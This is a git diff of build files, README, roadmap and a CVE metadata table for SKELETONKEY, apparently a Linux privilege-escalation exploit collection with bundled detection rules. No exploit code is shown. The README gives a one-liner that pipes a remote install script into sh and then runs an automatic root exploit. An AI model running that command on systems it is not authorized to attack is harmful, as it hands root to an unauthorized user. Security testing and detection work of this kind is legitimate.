@@ -130,6 +135,8 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
||||
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
|
||||
| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
|
||||
|
||||
## Pipeline for additions
|
||||
|
||||
|
||||
@@ -20,9 +20,15 @@ BUILD := build
|
||||
BIN := skeletonkey
|
||||
|
||||
# core/
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c \
|
||||
core/host.c core/cve_metadata.c core/verifications.c
|
||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||
|
||||
# Register-every-module helper. Lives in its own translation unit so
|
||||
# the kernel_range unit-test binary can link just CORE_OBJS without
|
||||
# pulling in every module symbol via registry_all.o.
|
||||
REGISTRY_ALL_OBJ := $(BUILD)/core/registry_all.o
|
||||
|
||||
# Family: copy_fail_family
|
||||
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
|
||||
CFF_DIR := modules/copy_fail_family
|
||||
@@ -174,6 +180,68 @@ endif
|
||||
# paths). Target-specific vars are scoped to this object's recipe.
|
||||
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||
|
||||
# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection
|
||||
SCHW_DIR := modules/sudo_chwoot_cve_2025_32463
|
||||
SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c
|
||||
SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS))
|
||||
|
||||
# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active
|
||||
UDB_DIR := modules/udisks_libblockdev_cve_2025_6019
|
||||
UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c
|
||||
UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS))
|
||||
|
||||
# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security)
|
||||
PTH_DIR := modules/pintheft_cve_2026_43494
|
||||
PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c
|
||||
PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS))
|
||||
|
||||
# ── v0.9.0 gap-fillers ─────────────────────────────────────────────
|
||||
|
||||
# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap
|
||||
MUT_DIR := modules/mutagen_astronomy_cve_2018_14634
|
||||
MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c
|
||||
MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS))
|
||||
|
||||
# CVE-2019-14287 sudo Runas -u#-1 underflow
|
||||
SRN_DIR := modules/sudo_runas_neg1_cve_2019_14287
|
||||
SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c
|
||||
SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS))
|
||||
|
||||
# CVE-2020-29661 TIOCSPGRP UAF race
|
||||
TIO_DIR := modules/tioscpgrp_cve_2020_29661
|
||||
TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c
|
||||
TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS))
|
||||
|
||||
# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024)
|
||||
VSK_DIR := modules/vsock_uaf_cve_2024_50264
|
||||
VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c
|
||||
VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS))
|
||||
|
||||
# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II)
|
||||
PIP_DIR := modules/nft_pipapo_cve_2024_26581
|
||||
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
|
||||
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
|
||||
|
||||
# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
|
||||
PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
|
||||
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
|
||||
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
|
||||
|
||||
# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
|
||||
SUH_DIR := modules/sudo_host_cve_2025_32462
|
||||
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
|
||||
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
|
||||
|
||||
# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
|
||||
CIW_DIR := modules/cifswitch_cve_2026_46243
|
||||
CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
|
||||
CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
|
||||
|
||||
# CVE-2026-23111 nft_catchall — nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro)
|
||||
NCA_DIR := modules/nft_catchall_cve_2026_23111
|
||||
NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
|
||||
NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
@@ -184,18 +252,31 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS)
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
# Tests — `make test` builds and runs the detect() unit-test harness.
|
||||
# Links against the same module objects as the main binary minus the
|
||||
# top-level dispatcher (which provides main(); the test has its own).
|
||||
# Tests — `make test` builds and runs both unit-test binaries.
|
||||
#
|
||||
# skeletonkey-test — detect() integration tests against
|
||||
# synthetic host fingerprints. Links
|
||||
# the full module corpus.
|
||||
# skeletonkey-test-kr — pure unit tests for kernel_range +
|
||||
# host comparison helpers. Tiny binary
|
||||
# (core/ only); runs cross-platform.
|
||||
TEST_DIR := tests
|
||||
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||
TEST_BIN := skeletonkey-test
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
TEST_KR_SRCS := $(TEST_DIR)/test_kernel_range.c
|
||||
TEST_KR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_KR_SRCS))
|
||||
TEST_KR_BIN := skeletonkey-test-kr
|
||||
TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help test
|
||||
|
||||
@@ -207,8 +288,14 @@ $(BIN): $(ALL_OBJS)
|
||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
test: $(TEST_BIN)
|
||||
@echo "[*] running test suite ($(TEST_BIN))"
|
||||
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||
|
||||
test: $(TEST_BIN) $(TEST_KR_BIN)
|
||||
@echo "[*] running kernel_range unit tests ($(TEST_KR_BIN))"
|
||||
./$(TEST_KR_BIN)
|
||||
@echo
|
||||
@echo "[*] running detect() integration tests ($(TEST_BIN))"
|
||||
./$(TEST_BIN)
|
||||
|
||||
# Generic compile: any .c → corresponding .o under build/
|
||||
@@ -223,7 +310,7 @@ static: LDFLAGS += -static
|
||||
static: clean $(BIN)
|
||||
|
||||
clean:
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN)
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN) $(TEST_KR_BIN)
|
||||
|
||||
help:
|
||||
@echo "Targets:"
|
||||
|
||||
@@ -2,15 +2,17 @@
|
||||
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](CVES.md)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](#)
|
||||
|
||||
> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
|
||||
> (+3 ported-but-unverified). Detection rules in the box. One command
|
||||
> picks the safest one and runs it.**
|
||||
> **One curated binary. 43 Linux LPE modules covering 38 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||
> the safest one and runs it.**
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
@@ -43,15 +45,17 @@ for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
|
||||
**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
|
||||
`pack2theroot` — see note below):
|
||||
**43 modules covering 38 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 38 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||
VM sweep, not by missing code.
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
|
||||
|
||||
**🟢 Modules that land root on a vulnerable host:**
|
||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||
@@ -64,18 +68,34 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
**⚪ Ported-but-unverified (not in the counts above):**
|
||||
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
|
||||
pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
|
||||
bodies not yet VM-validated**. All three have version-pinned `detect()`:
|
||||
`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
|
||||
`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
|
||||
unfixed); `pack2theroot` against PackageKit fix release 1.3.5
|
||||
(commit `76cfb675`), version read from the daemon over D-Bus.
|
||||
`--auto` auto-enables `--active` to confirm empirically on top.
|
||||
### Empirical verification (28 of 38 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM. Coverage:
|
||||
|
||||
| Distro / kernel | Modules verified |
|
||||
|---|---|
|
||||
| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · ptrace_traceme · sudo_samedit · sudo_runas_neg1 |
|
||||
| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · overlayfs · pwnkit · sequoia · tioscpgrp |
|
||||
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
|
||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||
|
||||
**Not yet verified (8):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
||||
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
||||
2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
|
||||
(brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
|
||||
pending). All eight are flagged in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status.
|
||||
detection status. Run `skeletonkey --module-info <name>` for the
|
||||
embedded verification records per module.
|
||||
|
||||
## Quickstart
|
||||
|
||||
@@ -86,6 +106,11 @@ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/inst
|
||||
# What's this box vulnerable to? (no sudo)
|
||||
skeletonkey --scan
|
||||
|
||||
# One-page operator briefing for a single CVE: CWE / MITRE ATT&CK /
|
||||
# CISA KEV status, live detect() trace, OPSEC footprint, detection
|
||||
# coverage. Useful for triage tickets and SOC analyst handoffs.
|
||||
skeletonkey --explain nf_tables
|
||||
|
||||
# Pick the safest LPE and run it
|
||||
skeletonkey --auto --i-know
|
||||
|
||||
@@ -112,7 +137,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 31 modules for vulnerabilities...
|
||||
[*] auto: scanning 43 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
@@ -181,29 +206,61 @@ also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
|
||||
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
|
||||
patched hosts.
|
||||
**v0.9.11 cut 2026-06-08.** 43 modules across 38 CVEs — **every
|
||||
year 2016 → 2026 now covered**. Newest: `nft_catchall` (CVE-2026-23111,
|
||||
the nf_tables `nft_map_catchall_activate` abort-path UAF — an inverted
|
||||
condition frees a chain still referenced by a catch-all GOTO map element;
|
||||
public reproduction by FuzzingLabs), `cifswitch` (CVE-2026-46243,
|
||||
Asim Manizada's "CIFSwitch" — the `cifs.spnego` key type trusts
|
||||
userspace-forged authority fields, coercing the root `cifs.upcall` helper
|
||||
into loading an attacker NSS module as root), and `ptrace_pidfd`
|
||||
(CVE-2026-46333, Qualys's `__ptrace_may_access` / `pidfd_getfd`
|
||||
credential-steal).
|
||||
v0.9.0 added 5 gap-fillers
|
||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
|
||||
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||
**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
|
||||
20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
|
||||
kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
|
||||
every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
|
||||
static-musl flavors).
|
||||
|
||||
Reliability + accuracy work in v0.6.0:
|
||||
Reliability + accuracy work in v0.7.x:
|
||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||
to every module via `ctx->host`. 26 of 27 distinct modules consume it.
|
||||
- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
|
||||
tests over mocked host fingerprints; runs as a non-root user in CI.
|
||||
- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
|
||||
fork-isolated detect + exploit so a crashing module can't tear down
|
||||
the dispatcher, structured per-module verdict table, scan summary.
|
||||
- `--dry-run` flag (preview without firing; no `--i-know` needed).
|
||||
- Pinned mainline fix commits for the 3 ported modules — `detect()`
|
||||
is version-pinned, not just precondition-only.
|
||||
to every module via `ctx->host`.
|
||||
- **Test harness** (`tests/`, `make test`) — 88 tests: 33 kernel_range
|
||||
unit tests + 55 detect() integration tests over mocked host
|
||||
fingerprints. Runs in CI on every push.
|
||||
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
||||
that boots known-vulnerable kernels (stock distro + mainline via
|
||||
kernel.ubuntu.com), runs `--explain --active` per module, records
|
||||
match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
|
||||
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
||||
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||
records. Paste-into-ticket ready.
|
||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||
CISA KEV catalog + NVD CWE; 13 of 38 modules cover KEV-listed CVEs.
|
||||
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||
command exports the corpus to your SIEM.
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
Empirical end-to-end validation on a vulnerable-target VM matrix is
|
||||
the next roadmap item; until then, the corpus is best understood as
|
||||
"compiles + detects + structurally correct + honest on failure" —
|
||||
and the three ported modules have not been run against a vulnerable
|
||||
target at all.
|
||||
Not yet verified (10 of 38 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
||||
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
|
||||
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
|
||||
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
|
||||
VM-verified). Rationale in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
infrastructure work.
|
||||
@@ -214,6 +271,18 @@ PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||
|
||||
**Keeping `kernel_range` tables current.** `tools/refresh-kernel-ranges.py`
|
||||
polls Debian's security tracker and reports drift between each
|
||||
module's hardcoded `kernel_patched_from` thresholds and the
|
||||
fixed-versions Debian actually ships. Run periodically (or in CI)
|
||||
to catch new backports that need to land in the corpus:
|
||||
|
||||
```bash
|
||||
tools/refresh-kernel-ranges.py # human report
|
||||
tools/refresh-kernel-ranges.py --json # machine-readable
|
||||
tools/refresh-kernel-ranges.py --patch # proposed C-source edits
|
||||
```
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
|
||||
+77
@@ -272,6 +272,83 @@ The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||
full-chain work is meaningful.
|
||||
|
||||
## Phase 9 — Empirical verification + operator briefing (DONE 2026-05-23, v0.7.1)
|
||||
|
||||
The largest single jump in trust signal: every claim in the corpus is
|
||||
now backed by either a unit test (88-test harness) or a real-VM
|
||||
verification record (22 of 26 CVEs), and the binary surfaces both.
|
||||
|
||||
- [x] **`tools/verify-vm/`** — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro + mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per
|
||||
module, emits JSONL verification records.
|
||||
- [x] **Mainline kernel fetch** — `targets.yaml` `mainline_version`
|
||||
field downloads vanilla mainline .debs from
|
||||
`kernel.ubuntu.com/mainline/v<X.Y.Z>/amd64/`, dpkg-installs,
|
||||
`update-grub`s, reboots. Unblocks pin-not-in-apt targets.
|
||||
- [x] **22 of 26 CVEs verified** across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
Debian 11 / 12 + mainline 5.15.5 / 6.1.10. Records in
|
||||
`docs/VERIFICATIONS.jsonl`, baked into `core/verifications.{c,h}`,
|
||||
surfaced in `--list` (VFY column), `--module-info`, `--explain`,
|
||||
`--scan --json`.
|
||||
- [x] **`--explain MODULE`** — one-page operator briefing. CVE / CWE /
|
||||
MITRE ATT&CK / CISA KEV header, host fingerprint, live `detect()`
|
||||
trace with verdict + interpretation, OPSEC footprint, detection-
|
||||
rule coverage, verified-on records. Paste-into-ticket ready.
|
||||
- [x] **Per-module `opsec_notes`** — every module struct ships a
|
||||
runtime-footprint paragraph (file artifacts, dmesg, syscall
|
||||
observables, network, persistence, cleanup). The inverse of the
|
||||
detection rules.
|
||||
- [x] **CVE metadata pipeline** — `tools/refresh-cve-metadata.py`
|
||||
fetches CISA KEV + NVD CWE; 10 of 26 modules cover KEV-listed
|
||||
CVEs. Hand-curated ATT&CK mapping (T1068 / T1611 / T1082).
|
||||
Surfaced everywhere (`★` markers, `triage` JSON sub-object).
|
||||
- [x] **119 detection rules across all 4 SIEM formats** — auditd
|
||||
30/31, sigma 31/31, yara 28/31, falco 30/31. Documented
|
||||
intentional skips for the 3 modules without applicable rules
|
||||
in each format (entrybleed: pure timing side-channel;
|
||||
ptrace_traceme + sudo_samedit: pure-memory races, no on-disk
|
||||
artifacts).
|
||||
- [x] **88-test unit harness** — 33 kernel_range / host-fingerprint
|
||||
boundary tests + 55 detect() integration tests. ASan + UBSan
|
||||
+ clang-tidy on every push; weekly cron checks for CISA KEV
|
||||
+ Debian security-tracker drift.
|
||||
- [x] **arm64-static binary** — `skeletonkey-arm64-static` published
|
||||
alongside x86_64-static. Built via `dockcross/linux-arm64-musl`
|
||||
cross toolchain. `install.sh` auto-picks on aarch64 hosts.
|
||||
- [x] **`arch_support` field** per module: `any` (4 — userspace
|
||||
bugs), `x86_64` (1 — entrybleed by physics),
|
||||
`x86_64+unverified-arm64` (26 — kernel modules whose arm64
|
||||
exploit hasn't been empirically confirmed). Honest labels until
|
||||
an arm64 verification sweep promotes them.
|
||||
- [x] **Marketing-grade landing page** — animated hero with
|
||||
`--explain` showcase, bento-grid features, KEV / verification
|
||||
stat chips, open-graph card. karazajac.github.io/SKELETONKEY.
|
||||
|
||||
**Open follow-ups from v0.7.x (not yet started):**
|
||||
|
||||
- [ ] arm64 verification sweep — Vagrant arm64 box (e.g.
|
||||
`generic/debian12-arm64` on M-series Mac via Parallels) → run
|
||||
`verify.sh` against the 26 `x86_64+unverified-arm64` modules,
|
||||
promote each to `any` where it works.
|
||||
- [ ] SIEM query templates — full Splunk SPL / Elastic KQL / Sentinel
|
||||
KQL queries per top-10 KEV-listed modules, embedded in
|
||||
`docs/DETECTION_PLAYBOOK.md`.
|
||||
- [ ] `install.sh` CI smoke test — boot fresh Ubuntu / Debian /
|
||||
Alpine containers, run `curl ... | sh`, assert `--version`.
|
||||
- [ ] PackageKit provisioner for pack2theroot VULNERABLE-path
|
||||
verification on Debian 12.
|
||||
- [ ] Custom ≤ 4.4 kernel image for dirty_cow VM verification.
|
||||
- [ ] 9 deferred TOO_TIGHT kernel-range drift findings — per-commit
|
||||
verification against git.kernel.org/linus.
|
||||
|
||||
**Wait-for-upstream blockers (out of our control):**
|
||||
|
||||
- vmwgfx verification — requires a VMware-Fusion-or-Workstation
|
||||
guest exposing `/dev/dri/card*` from the vmwgfx driver.
|
||||
- dirtydecrypt + fragnesia verification — both target Linux 7.0+,
|
||||
which isn't shipping as any distro kernel yet.
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
||||
|
||||
@@ -0,0 +1,332 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-cve-metadata.py from
|
||||
* docs/CVE_METADATA.json. Do not hand-edit; rerun the script.
|
||||
* Sources: CISA KEV catalog + NVD CVE API 2.0.
|
||||
*/
|
||||
|
||||
#include "cve_metadata.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
const struct cve_metadata cve_metadata_table[] = {
|
||||
{
|
||||
.cve = "CVE-2016-5195",
|
||||
.cwe = "CWE-362",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-03-03",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2017-7308",
|
||||
.cwe = "CWE-681",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2018-14634",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-01-26",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-13272",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2021-12-10",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-14287",
|
||||
.cwe = "CWE-755",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-14386",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-29661",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
